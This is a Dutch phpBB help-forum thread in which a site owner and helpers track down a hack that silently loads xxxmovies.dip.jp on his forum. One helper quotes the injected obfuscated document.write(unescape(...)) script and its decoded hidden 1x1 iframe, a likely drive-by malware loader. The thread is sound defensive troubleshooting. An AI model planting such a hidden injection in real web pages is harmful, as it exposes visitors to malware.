Redirect naar xxxmovies site

[Niels-21]

• Adres van je forum: http://www.veldhuisenkemper.net/forum
  Event. modificaties op je forum:Birthday, Last Visit, Topics Anywhere, Merge, WPM
  Wanneer ontstond het probleem?Laatste tijd
  phpBB versie: 2.0.22
  
  Heb je onlangs iets verandert aan je forum?Nee
  Wat is het probleem?

Het probleem is dat er sinds kort op mijn forum een soort van redirect zit. Als ik namelijk naar http://www.veldhuisenkemper.net/forum ga, zie ik onderin de statusbalk heel even de link http://xxxmovies.dip.jp/1/ staan.

Heb mijn hostprovider al gecontacteerd en die vond in de .htaccess verwijzingen naar deze link en heeft ze verwijderd. Maar op het forum zie ik hem nog telkens komen.

Iemand enig idee wat dit is en hoe ik het kan weghalen?

[Derky]

Als ik naar je forum ga (zelf ingelogt) zie ik deze link niet hoor, als deze link geladen zou worden is deze terug te zien in de broncode en daar zie ik het ook niet.

Heb je nog een andere pagina waar je dit op valt?

[Niels-21]

Ik zag dat je je had geregistreerd ja. Eerst had ik het ook als je een foutieve URL invoerde, maar dat is nu opgelost. Misschien zat er nog wat in mijn geschiedenis dat ik het nog zag.

Als het me nog ergens opvalt, zal ik het laten weten.

[Bas]

Hmm, ik zie in Firefox ook nog een Waiting for... met die site, even zoeken.

EDIT: De lange unescape-code start die tekst waarschijnlijk. (

Code: Selecteer alles

<script language="javascript">
document.write( unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%78%78%78%6D%6F%76%69%65%73%2E%64%69%70%2E%6A%70%2F%36%2F%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%22%63%6F%6E%74%65%6E%74%22%3E%3C%2F%69%66%72%61%6D%65%3E') );
</script>

)

EDIT2: Jep, die code schrijft de volgende tekst op de pagina:

Code: Selecteer alles

<iframe src="http://xxxmovies.dip.jp/6/" width="1" height="1" scrolling="no" name="content"></iframe>

Waarschijnlijk zal deze een virus injecteren als gebruikers een oude versie van IE gebruiken, alleen weet ik het niet zeker.

[Niels-21]

Thanx Bas!

En hoe bewerk ik dit? Gewoon dat script verwijderen?

[Niels-21]

Ik zit in index.php, maar kan die code niet vinden hoor... Waar moet ik zijn?

[Tom V]

Ik heb ff gekeken, in een paar bestanden, en ik zie het er nergens instaan eigenlijk (overall_header,overall_footer, index_body :s

Misschien ergens een script maar dat kan ik niet nakijken zonder FTP.

Als je buiten de tpl niets hebt aangepast, kun je altijd proberen alle bestanden opnieuw te uploaden en alleen de map templates niet te verwijderen en uploaden

[Niels-21]

Ik heb diverse mods, dus heb natuurlijk wel meer dan alleen templates aangepast.

[Derky]

Ik denk dat het onderaan in /includes/page_header.php ge echo't wordt als ik dat zo zie.

[Niels-21]

Wat moet ik vinden in includes/page_header.php? Ik zie niks...

[Derky]

Wat moet ik vinden in includes/page_header.php? Ik zie niks...

Plaats de inhoud ervan hier eens in: http://www.phpbb.nl/hulpmiddelen/code_dump

[Niels-21]

page_header.php

[Derky]

page_header.php

Daar staat het ook niet in.
Zoek eens in phpmyadmin op <script language="javascript"> en soort gelijke zoekopdrachten. Het is wellicht in de database gezet.

[Niels-21]

Hoe heeft Bas het dan gevonden?

Ik ga even in phpMyAdmin kijken.

[Niels-21]

Gezocht, resultaat:

Totaal: 0 overeenkomst(en

[Derky]

Hoe heeft Bas het dan gevonden?

Ik ga even in phpMyAdmin kijken.

Ja in de pagina bron zie ik het nu ook wel staan, het staat onder het overall_header.tpl gedeelte en boven het index_body.tpl gedeelte.

Ik neem aan dat je alle bestanden gewoon op je computer hebt staan?
Upload deze dan overnieuw, dan weet je zeker dat het er niet meer in zit.

[Niels-21]

Alle forum bestanden?

[Niels-21]

Oeps, nu krijg ik een login scherm als ik naar het forum ga...

Heb de bestanden opnieuw geüpload (wel eerst backup gemaakt natuurlijk). Wat moet ik doen?

[Niels-21]

Oeps, nu krijg ik een login scherm als ik naar het forum ga... En ook gewoon naar mijn site http://www.veldhuisenkemper.net

Heb de bestanden opnieuw geüpload (wel eerst backup gemaakt natuurlijk). Wat moet ik doen?

[Niels-21]

Authorization Required
This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.